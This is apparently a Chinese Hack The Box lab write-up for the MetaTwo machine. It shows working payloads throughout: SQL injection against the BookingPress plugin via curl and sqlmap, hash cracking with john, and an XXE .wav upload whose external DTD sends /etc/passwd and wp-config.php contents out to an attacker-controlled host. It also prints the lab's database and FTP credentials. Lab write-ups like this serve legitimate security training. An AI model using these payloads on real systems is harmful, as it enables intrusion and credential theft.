HTB Machine MetaTwo
Drunkbaby Lv6

HTB 靶机 MetaTwo 学习记录

外网打点

拿到目标 IP,先 nmap 扫,发现开了 80 端口

设置 hosts,添加如下

1
10.10.11.186 metapress.htb

成功访问 80 端口,能够看到这其实是一个用 WordPress 搭建的网站,直接用 kali 自带的 wpscan 扫描

比较有用的信息有信息泄露,以及 WordPress 版本,这里可以看到版本是 5.6.2,以及一些其他的可用信息,因为洞很多,所以这里肯定需要我们手动探测去思考一下最有可能被我们利用的是哪个漏洞,这里我看到 /events 目录下能够预定会议,感觉应该就是这里了,SQL 注入的洞。

但是当时探测了很久都没打通,通过扫描 /events 目录发现了 booking press 框架,版本为 1.0.10,通过搜索发现,这个框架版本有 sql 注入的漏洞 https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357

根据漏洞描述,这里需要加入一个 wpnonce 字段,而这一字段我们是可以直接从源代码里面找的,我这里的是 c290c8df1f

payload 如下

1
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=c290c8df1f&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

这里成功的将数据库版本等信息打出来了

SQL 注入三步走,爆数据库为 blog

1
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=c290c8df1f&category_id=33&total_service=-7502) UNION ALL SELECT @@version,database(),@@version_compile_os,1,2,3,4,5,6-- -'

将这个数据包保存下来,然后用 sqlmap 去跑,当然用 curl 也可以

1
2
3
4
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=b
ookingpress_front_get_category_services&_wpnonce=eef86ae8b3&category_id=33&total_service=-7502) UNION ALL SELECT (group_
concat(tablE_nAme)),@@version_comment,@@version_compile_os,1,2,3,4,5,6 frOm/**/infOrmation_schEma.tablEs/**/whEre/**/tab
le_schema=databAse()-- -'

admin.req

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: metapress.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 185
Origin: http://metapress.htb
Connection: close
Referer: http://metapress.htb/events/
Cookie: PHPSESSID=fmrrt38nv1pv286683fi2pa28l

action=bookingpress_front_get_category_services&_wpnonce=c290c8df1f&category_id=33&total_service=1

命令行如下爆库

1
sqlmap -r admin.req -p total_service --dbs

爆表

1
sqlmap -r admin.req -p total_service -D blog --tables

主要看一下 wp_user 里面放了什么,爆列

1
sqlmap -r admin.req -p total_service -D blog -T wp_users --columns

后续就是爆内容,这一步的爆内容我感觉要很久,所以就直接把结果贴在这边了

1
2
admin $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. 
manager $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

通过 john 爆破一下

1
john -w=/usr/share/wordlists/rockyou.txt hash

只能爆破出 manager 的密码

1
manager:partylikearockstar

这个密码肯定是用来登录 web 端后台页面的,所以去到默认接口 /wp-login.php,登录成功

进去之后就还是那个问题,这个洞它不顶用啊,拿不到 shell,且目前我们已知的信息和 wp-scan 给我们的信息是一样的,WordPress 版本 v5.6.2,一般挖洞的时候会说最好 RCE,退而求其次 SSRF,实在不行 XXE

因为这里有个文件上传的功能点,猜测应该是一个 xxe 的洞,而 WordPress v5.6.2 就存在一个 XXE 的漏洞

1
https://www.acunetix.com/vulnerabilities/web/wordpress-5-6-x-multiple-vulnerabilities-5-6-5-6-2/

这里的 payload 不是很明白为什么要用 .wav 的文件打,把恶意内容写进 payload.wav

1
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.16.17:9001/dedsec.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

编辑 dedsec.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.XX.XX:9001/?p=%file;'>" >

一上传文件就会发起请求,触发 xxe,我们再通过起的 web 服务可以查看文件内容

1
php -S 0.0.0.1:9001

将内容 base64 解码一下

发现 XXE 能够打通,且发现了一个用户名为 jnelson 的用户

1
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash

内网横移

那这里要怎么去获得 jnelson 的 password 就成为了很大的一个难点,如果是普通的 CTF 题目应该直接读 flag 就可以了,这里实在是读不到什么有用的信息,所以只能再读取一下其他信息。

已知后端用的中间件是 Nginx,这里应该可以先拿到根目录的位置,然后再根据根目录去读取 WordPress 的一些配置文件,例如 wp-config.php 这种类型的文件,里面应该保存了数据库的信息,这样一来的话我们可能会有所进展。

nginx 的默认配置文件在 /etc/nginx/sites-enabled/default,我们尝试读取一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
server {

listen 80;
listen [::]:80;

root /var/www/metapress.htb/blog;

index index.php index.html;

if ($http_host != "metapress.htb") {
rewrite ^ http://metapress.htb/;
}

location / {
try_files $uri $uri/ /index.php?$args;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php8.0-fpm.sock;
}

location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
expires max;
log_not_found off;
}

}

已知根目录是 /var/www/metapress.htb/blog,尝试读取 /var/www/metapress.htb/blog/wp-config.php

wp-config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

/**#@+
* Authentication Unique Keys and Salts.
* @since 2.6.0
*/
define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

/**
* WordPress Database Table prefix.
*/
$table_prefix = 'wp_';

/**
* For developers: WordPress debugging mode.
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

ftp 账号密码为:

1
metapress.htb:9NYS_ii@FyL_p5M2NvJ

成功脸上 ftp

1
ftp 10.10.11.186

发现 mailer 里面有一个 send_email.php 文件,通过 get 命令传输到本机电脑上

1
get send_email.php

终于是成功拿到了 jnelson 的密码,这个密码应该是 ssh 的,我们尝试连一下,拿下!

拿下!

小结

挺有意思的题目,先 SQL 注入拿到普通用户权限,然后在进去之后继续打点,最后拿 shell,太有意思了

 评论